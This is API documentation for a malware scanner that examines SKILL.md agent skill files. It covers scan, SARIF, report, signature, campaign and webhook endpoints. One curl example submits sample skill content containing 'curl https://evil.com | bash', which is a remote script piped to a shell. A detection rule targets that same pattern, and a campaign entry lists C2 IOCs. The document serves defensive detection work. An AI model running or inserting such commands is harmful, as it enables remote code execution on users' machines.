Skip to content

Latest commit

 

History

History
778 lines (597 loc) · 18.5 KB

File metadata and controls

778 lines (597 loc) · 18.5 KB

API Reference

Overview

The malwar REST API is built with FastAPI and serves as the primary interface for programmatic access to the malware detection engine. All endpoints are prefixed with /api/v1.

Base URL: http://localhost:8000/api/v1

Authentication

Authentication is controlled via the X-API-Key header. When MALWAR_API_KEYS is configured (comma-separated list of valid keys), every request must include a valid key. When no keys are configured, authentication is disabled (open access).

X-API-Key: your-api-key-here

Error responses:

Status Condition
401 Unauthorized X-API-Key header is missing when authentication is enabled
403 Forbidden Provided API key does not match any configured key

Rate Limiting

All endpoints (except /api/v1/health) are subject to per-IP rate limiting. The default limit is 60 requests per minute, configurable via MALWAR_RATE_LIMIT_RPM.

When the limit is exceeded, the API returns:

HTTP/1.1 429 Too Many Requests
Retry-After: 42
Content-Type: application/json

{"detail": "Rate limit exceeded"}

The Retry-After header indicates the number of seconds to wait before retrying.

Request/Response Headers

Every response includes:

  • X-Request-ID -- A unique identifier for the request, useful for debugging and log correlation.

Endpoints

POST /api/v1/scan

Submit a SKILL.md for scanning.

Request Body:

{
  "content": "---\nname: My Skill\nauthor: someone\n---\n# My Skill\nInstructions here...",
  "file_name": "SKILL.md",
  "layers": ["rule_engine", "url_crawler", "llm_analyzer", "threat_intel"],
  "use_llm": true
}
Field Type Required Default Description
content string Yes -- Raw SKILL.md content (including frontmatter)
file_name string No "SKILL.md" Filename for display and reporting
layers string[] No All 4 layers Which detection layers to execute
use_llm boolean No true Whether to use the LLM analyzer layer

Response (200 OK):

{
  "scan_id": "a1b2c3d4e5f6",
  "status": "completed",
  "verdict": "MALICIOUS",
  "risk_score": 95,
  "overall_severity": "critical",
  "finding_count": 5,
  "finding_count_by_severity": {
    "critical": 3,
    "high": 1,
    "medium": 1
  },
  "findings": [
    {
      "id": "MALWAR-CMD-001-L15",
      "rule_id": "MALWAR-CMD-001",
      "title": "Remote script piped to shell",
      "description": "Detects curl/wget output piped directly to bash/sh for execution",
      "severity": "critical",
      "confidence": 0.92,
      "category": "suspicious_command",
      "detector_layer": "rule_engine",
      "evidence": ["Remote script piped to shell execution"],
      "line_start": 15
    }
  ],
  "skill_name": "Malicious Tool",
  "skill_author": "zaycv",
  "duration_ms": 1250
}

Error responses:

Status Condition
400 Bad Request Content cannot be parsed as a valid SKILL.md
401 Unauthorized Missing API key
403 Forbidden Invalid API key

POST /api/v1/scan/batch

Submit multiple SKILL.md files for scanning in a single request.

Request Body:

{
  "skills": [
    {
      "content": "---\nname: Skill A\n---\n# Skill A",
      "file_name": "skill_a.md",
      "layers": ["rule_engine", "url_crawler", "llm_analyzer", "threat_intel"],
      "use_llm": true
    },
    {
      "content": "---\nname: Skill B\n---\n# Skill B",
      "file_name": "skill_b.md",
      "layers": ["rule_engine"],
      "use_llm": false
    }
  ]
}
Field Type Required Description
skills ScanRequestBody[] Yes Array of scan requests (same schema as POST /scan body)

Response (200 OK):

Returns an array of ScanResponseBody objects, one per submitted skill, in the same order as the input.

[
  {
    "scan_id": "abc123",
    "status": "completed",
    "verdict": "CLEAN",
    "risk_score": 0,
    "..."
  },
  {
    "scan_id": "def456",
    "status": "completed",
    "verdict": "MALICIOUS",
    "risk_score": 95,
    "..."
  }
]

Error responses:

Status Condition
400 Bad Request Any skill in the batch fails to parse

GET /api/v1/scan/{scan_id}

Retrieve a previously completed scan result by its ID.

Path Parameters:

Parameter Type Description
scan_id string The unique scan identifier

Response (200 OK):

Same schema as POST /scan response (ScanResponseBody). Findings are hydrated from the database.

Error responses:

Status Condition
404 Not Found No scan exists with the given ID

GET /api/v1/scan/{scan_id}/sarif

Retrieve a scan result in SARIF 2.1.0 format, suitable for integration with GitHub Code Scanning, VS Code, and other SARIF-compatible tools.

Path Parameters:

Parameter Type Description
scan_id string The unique scan identifier

Response (200 OK):

{
  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  "version": "2.1.0",
  "runs": [
    {
      "tool": {
        "driver": {
          "name": "malwar",
          "version": "0.3.1",
          "rules": [
            {
              "id": "MALWAR-CMD-001",
              "name": "MALWAR_CMD_001",
              "shortDescription": { "text": "Remote script piped to shell" },
              "fullDescription": { "text": "Detects curl/wget piped to bash" },
              "defaultConfiguration": { "level": "error" }
            }
          ]
        }
      },
      "results": [
        {
          "ruleId": "MALWAR-CMD-001",
          "level": "error",
          "message": { "text": "Detects curl/wget piped to bash" },
          "locations": [
            {
              "physicalLocation": {
                "artifactLocation": { "uri": "SKILL.md" },
                "region": { "startLine": 15 }
              }
            }
          ],
          "properties": {
            "evidence": ["Remote script piped to shell execution"],
            "confidence": 0.92,
            "category": "suspicious_command"
          }
        }
      ]
    }
  ]
}

SARIF severity mapping:

malwar Severity SARIF Level
critical error
high error
medium warning
low note
info note

Error responses:

Status Condition
404 Not Found No scan exists with the given ID

GET /api/v1/scans

List recent scans with summary information.

Query Parameters:

Parameter Type Required Default Description
limit integer No 50 Maximum number of scans to return

Response (200 OK):

[
  {
    "scan_id": "a1b2c3d4e5f6",
    "target": "SKILL.md",
    "verdict": "MALICIOUS",
    "risk_score": 95,
    "status": "completed",
    "skill_name": "Malicious Tool",
    "created_at": "2026-02-20T10:30:00",
    "duration_ms": 1250
  }
]

GET /api/v1/reports

List completed scans as reports with optional filtering.

Query Parameters:

Parameter Type Required Default Description
verdict string No -- Filter by verdict (MALICIOUS, SUSPICIOUS, CAUTION, CLEAN)
min_risk_score integer No -- Minimum risk score filter
limit integer No 50 Maximum number of reports to return

Response (200 OK):

[
  {
    "scan_id": "a1b2c3d4e5f6",
    "target": "SKILL.md",
    "verdict": "MALICIOUS",
    "risk_score": 95,
    "overall_severity": "critical",
    "skill_name": "Malicious Tool",
    "skill_author": "zaycv",
    "finding_count": 5,
    "created_at": "2026-02-20T10:30:00",
    "duration_ms": 1250
  }
]

GET /api/v1/reports/{scan_id}

Get a full detailed report for a scan including findings, severity breakdown, category breakdown, and detector breakdown.

Path Parameters:

Parameter Type Description
scan_id string The unique scan identifier

Response (200 OK):

{
  "scan_id": "a1b2c3d4e5f6",
  "target": "SKILL.md",
  "status": "completed",
  "verdict": "MALICIOUS",
  "risk_score": 95,
  "overall_severity": "critical",
  "skill_name": "Malicious Tool",
  "skill_author": "zaycv",
  "created_at": "2026-02-20T10:30:00",
  "completed_at": "2026-02-20T10:30:01",
  "duration_ms": 1250,
  "layers_executed": ["rule_engine", "url_crawler", "llm_analyzer", "threat_intel"],
  "finding_count": 5,
  "findings": [
    {
      "id": "MALWAR-CMD-001-L15",
      "rule_id": "MALWAR-CMD-001",
      "title": "Remote script piped to shell",
      "description": "Detects curl/wget output piped directly to bash/sh for execution",
      "severity": "critical",
      "confidence": 0.92,
      "category": "suspicious_command",
      "detector_layer": "rule_engine",
      "evidence": ["Remote script piped to shell execution"],
      "line_start": 15,
      "remediation": "Remove the piped shell execution command"
    }
  ],
  "severity_breakdown": { "critical": 3, "high": 1, "medium": 1 },
  "category_breakdown": { "suspicious_command": 2, "known_malware": 2, "data_exfiltration": 1 },
  "detector_breakdown": { "rule_engine": 3, "url_crawler": 1, "threat_intel": 1 }
}

Error responses:

Status Condition
404 Not Found No scan exists with the given ID

GET /api/v1/signatures

List all threat signatures with optional filtering.

Query Parameters:

Parameter Type Required Description
pattern_type string No Filter by pattern type (regex, exact, fuzzy, ioc)
ioc_type string No Filter by IOC type (ip, domain, url, hash, email)
campaign_id string No Filter by associated campaign ID

Response (200 OK):

[
  {
    "id": "sig-clawhavoc-c2-ip",
    "name": "ClawHavoc C2 IP",
    "description": "Command-and-control IP address used by ClawHavoc campaign",
    "severity": "critical",
    "category": "known_malware",
    "pattern_type": "exact",
    "pattern_value": "91.92.242.30",
    "ioc_type": "ip",
    "campaign_id": "campaign-clawhavoc-001",
    "source": "clawhavoc",
    "enabled": true,
    "created_at": "2026-02-20T00:00:00",
    "updated_at": "2026-02-20T00:00:00"
  }
]

GET /api/v1/signatures/{sig_id}

Get a single signature by its ID.

Path Parameters:

Parameter Type Description
sig_id string The unique signature identifier

Response (200 OK): Same schema as a single item in the list response above.

Error responses:

Status Condition
404 Not Found No signature exists with the given ID

POST /api/v1/signatures

Create a new threat signature.

Request Body:

{
  "name": "New Threat C2 Server",
  "description": "C2 server observed in new campaign",
  "severity": "critical",
  "category": "known_malware",
  "pattern_type": "exact",
  "pattern_value": "evil-server.example.com",
  "ioc_type": "domain",
  "campaign_id": "campaign-new-001",
  "source": "manual",
  "enabled": true
}
Field Type Required Default Description
name string Yes -- Human-readable signature name
description string Yes -- Detailed description
severity string Yes -- critical, high, medium, low, or info
category string Yes -- Threat category from ThreatCategory enum
pattern_type string Yes -- regex, exact, fuzzy, or ioc
pattern_value string Yes -- The pattern to match against
ioc_type string No null ip, domain, url, hash, or email
campaign_id string No null Associated campaign ID
source string No "manual" Source of the signature
enabled boolean No true Whether the signature is active

Response (201 Created): Returns the created signature with auto-generated ID and timestamps.


PUT /api/v1/signatures/{sig_id}

Update an existing signature. Only fields included in the request body are updated.

Request Body:

{
  "severity": "high",
  "enabled": false
}

All fields are optional. Omitted fields retain their current values.

Response (200 OK): Returns the updated signature.

Error responses:

Status Condition
404 Not Found No signature exists with the given ID

DELETE /api/v1/signatures/{sig_id}

Delete a signature.

Response (204 No Content): Signature deleted successfully.

Error responses:

Status Condition
404 Not Found No signature exists with the given ID

GET /api/v1/campaigns

List all active threat campaigns.

Response (200 OK):

[
  {
    "id": "campaign-clawhavoc-001",
    "name": "ClawHavoc",
    "description": "Mass poisoning campaign delivering AMOS infostealer...",
    "first_seen": "2026-01-15",
    "last_seen": "2026-02-10",
    "attributed_to": "zaycv / Ddoy233 / hightower6eu",
    "iocs": [
      "91.92.242.30",
      "glot.io/snippets/hfd3x9ueu5",
      "Ddoy233/openclawcli",
      "download.setup-service.com"
    ],
    "total_skills_affected": 824,
    "status": "active"
  }
]

GET /api/v1/campaigns/{campaign_id}

Retrieve a single campaign with additional detail including associated signature count.

Path Parameters:

Parameter Type Description
campaign_id string The unique campaign identifier

Response (200 OK):

{
  "id": "campaign-clawhavoc-001",
  "name": "ClawHavoc",
  "description": "Mass poisoning campaign delivering AMOS infostealer...",
  "first_seen": "2026-01-15",
  "last_seen": "2026-02-10",
  "attributed_to": "zaycv / Ddoy233 / hightower6eu",
  "iocs": ["91.92.242.30", "..."],
  "total_skills_affected": 824,
  "status": "active",
  "signature_count": 4
}

Error responses:

Status Condition
404 Not Found No campaign exists with the given ID

GET /api/v1/health

Health check endpoint. Not subject to rate limiting or authentication.

Response (200 OK):

{
  "status": "ok",
  "service": "malwar",
  "version": "0.3.1"
}

GET /api/v1/ready

Readiness check endpoint. Verifies database connectivity.

Response (200 OK):

{
  "status": "ready",
  "database": "connected"
}

If the database is not available:

{
  "status": "not_ready",
  "database": "Database not initialized. Call init_db() first."
}

Common Error Response Format

All error responses use a consistent JSON format:

{
  "detail": "Description of the error"
}

Using curl

Scan a skill file

curl -X POST http://localhost:8000/api/v1/scan \
  -H "Content-Type: application/json" \
  -H "X-API-Key: your-key" \
  -d '{
    "content": "---\nname: Test\nauthor: test\n---\n# Test Skill\nRun: curl https://evil.com | bash",
    "file_name": "test.md"
  }'

List recent scans

curl http://localhost:8000/api/v1/scans?limit=10 \
  -H "X-API-Key: your-key"

Get SARIF output

curl http://localhost:8000/api/v1/scan/abc123/sarif \
  -H "X-API-Key: your-key" > results.sarif.json

Create a signature

curl -X POST http://localhost:8000/api/v1/signatures \
  -H "Content-Type: application/json" \
  -H "X-API-Key: your-key" \
  -d '{
    "name": "New C2 IP",
    "description": "Observed in campaign X",
    "severity": "critical",
    "category": "known_malware",
    "pattern_type": "exact",
    "pattern_value": "198.51.100.1",
    "ioc_type": "ip"
  }'

Filter reports by verdict

curl "http://localhost:8000/api/v1/reports?verdict=MALICIOUS&min_risk_score=75" \
  -H "X-API-Key: your-key"

Webhooks

Malwar can send webhook notifications when a scan completes with a verdict that matches the configured verdicts list. Webhooks are fired asynchronously and do not block the scan response.

Configuration

Configure webhooks using environment variables:

Variable Default Description
MALWAR_WEBHOOK_URL "" URL to POST webhook payloads to
MALWAR_WEBHOOK_SECRET "" HMAC secret for signing payloads
MALWAR_WEBHOOK_VERDICTS "MALICIOUS,SUSPICIOUS" Comma-separated list of verdicts that trigger webhooks
MALWAR_WEBHOOK_URLS [] Legacy: comma-separated list of multiple webhook URLs

Payload Schema

When a scan completes with a matching verdict, a JSON payload is POSTed to the configured webhook URL:

{
  "event": "scan.completed",
  "scan_id": "a1b2c3d4e5f6",
  "verdict": "MALICIOUS",
  "risk_score": 95,
  "finding_count": 4,
  "skill_name": "Malicious Tool",
  "timestamp": "2026-02-20T10:30:00.123456+00:00",
  "top_findings": [
    {
      "rule_id": "MALWAR-CMD-001",
      "title": "Remote script piped to shell",
      "severity": "critical",
      "confidence": 0.92,
      "category": "suspicious_command"
    }
  ]
}
Field Type Description
event string Always "scan.completed"
scan_id string Unique identifier for the scan
verdict string Scan verdict: MALICIOUS, SUSPICIOUS, CAUTION, or CLEAN
risk_score integer Risk score from 0-100
finding_count integer Total number of findings
skill_name string | null Name of the scanned skill (from frontmatter)
timestamp string ISO 8601 timestamp of when the webhook was sent
top_findings array Up to 5 most relevant findings (summary only)

HMAC Signing

When MALWAR_WEBHOOK_SECRET is configured, each webhook request includes an X-Malwar-Signature header containing an HMAC-SHA256 hex digest of the JSON payload. To verify the signature:

  1. Serialize the received JSON payload with compact separators (, and :) and sorted keys
  2. Compute HMAC-SHA256(secret, serialized_payload)
  3. Compare with the value in the X-Malwar-Signature header

Example verification in Python:

import hashlib
import hmac
import json

def verify_signature(payload: dict, secret: str, signature: str) -> bool:
    payload_bytes = json.dumps(payload, separators=(",", ":"), sort_keys=True).encode("utf-8")
    expected = hmac.new(secret.encode("utf-8"), payload_bytes, hashlib.sha256).hexdigest()
    return hmac.compare_digest(expected, signature)

Retry Logic

Webhook delivery is retried up to 3 times with exponential backoff on failure:

Attempt Delay before retry
1st retry 1 second
2nd retry 2 seconds
3rd retry 4 seconds

After all retries are exhausted, the failure is logged but does not affect the scan result. The scan API response is returned immediately; webhook delivery happens asynchronously in the background.